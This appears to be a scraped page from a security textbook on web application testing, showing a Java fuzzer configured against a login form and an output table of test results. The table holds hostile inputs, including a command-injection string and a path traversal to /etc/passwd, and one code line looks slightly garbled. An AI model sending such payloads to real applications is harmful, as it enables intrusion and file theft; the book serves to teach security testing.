The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws


Incorporating this search functionality into JAttack will frequently prove



Download 5,76 Mb.
Pdf ko'rish
bet825/875
Sana01.01.2022
Hajmi5,76 Mb.
#293004
1   ...   821   822   823   824   825   826   827   828   ...   875
Bog'liq
3794 1008 4334

Incorporating this search functionality into JAttack will frequently prove

useful when enumerating identifiers within the application. It is very common to

find that the most reliable indicator of a hit is the presence or absence of a

specific expression within the application’s response.

Chapter 13 



Automating Bespoke Attacks



489

70779c13.qxd:WileyRed  9/14/07  3:14 PM  Page 489




This is all we need to do to create a basic web application fuzzer. To deliver

the actual attack, we simply need to configure JAttack with the relevant

request details, instructing it to attack every parameter, as follows:

String method = “POST”;

String url = “/app/acc/login.jsp”;

Param[] params = new Param[] 

{

new Param(“ts”, “29813”, Param.Type.URL, true),



new Param(“_DARGS”, 

“/app/acc/login_assumed.jsp”, Param.Type.URL, true),

new Param(“webabacus_id”, “131st22418177-1”, Param.Type.COOKIE, true),

new Param(“DYN_USER_ID”, “100014981”, Param.Type.COOKIE, true),

new Param(“USER_CONFIRM”, “836de5f76c5ec83”, Param.Type.COOKIE, true),

new Param(“ParkoSearch2007”, “true”, Param.Type.COOKIE, true),

new Param(“JSESSIONID”, “DKBHCAOQQWHFFCKTR”, Param.Type.COOKIE, true),

new Param(“_dyncharset”, “UTF-8”, Param.Type.BODY, true),

new Param(“_template”, “app/inc/templ.jsp”, Param.Type.BODY, true),

new Param(“personalDetailsURL”, 

“..%2Facc%2Fregister_p1.jsp”, Param.Type.BODY, true),

new Param(“login”, “user@wahh-mail.com”, Param.Type.BODY, true),

new Param(“originalRedirectFromURL”, “+”, Param.Type.BODY, true),

new Param(“password”, “bestinfw”, Param.Type.URL,BODY),    

};

PayloadSource payloads = new PSFuzzStrings();



With this configuration in place, we can launch our attack. Within a few sec-

onds, JAttack has submitted each of the attack payloads within each parame-

ter of the request — over 50 requests in all, which would have taken several

minutes at least to issue manually, and far longer to review and analyze the

raw responses received.

The next task is to manually inspect the output from JAttack and attempt to

identify any anomalous results that may indicate the presence of a vulnerabil-

ity. Let’s take a look at an extract of the output:

_template           ‘                          500   498     error    not found

_template           ;/bin/ls                   500   498     error    not found

_template           ../../../../../etc/passwd  200   3987

_template           xsstest                    500   498     error    not found

personalDetailsURL  ‘                          200   39192

personalDetailsURL  ;/bin/ls                   200   39199

personalDetailsURL  ../../../../../etc/passwd  200   39417

personalDetailsURL  xsstest                    200   39198   xsstest

login               ‘                          500   761     error    illegal

login               ;/bin/ls                   302   412     invalid

login               ../../../../../etc/passwd  302   412     invalid

login               xsstest                    302   412     invalid




Download 5,76 Mb.

Do'stlaringiz bilan baham:
1   ...   821   822   823   824   825   826   827   828   ...   875




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish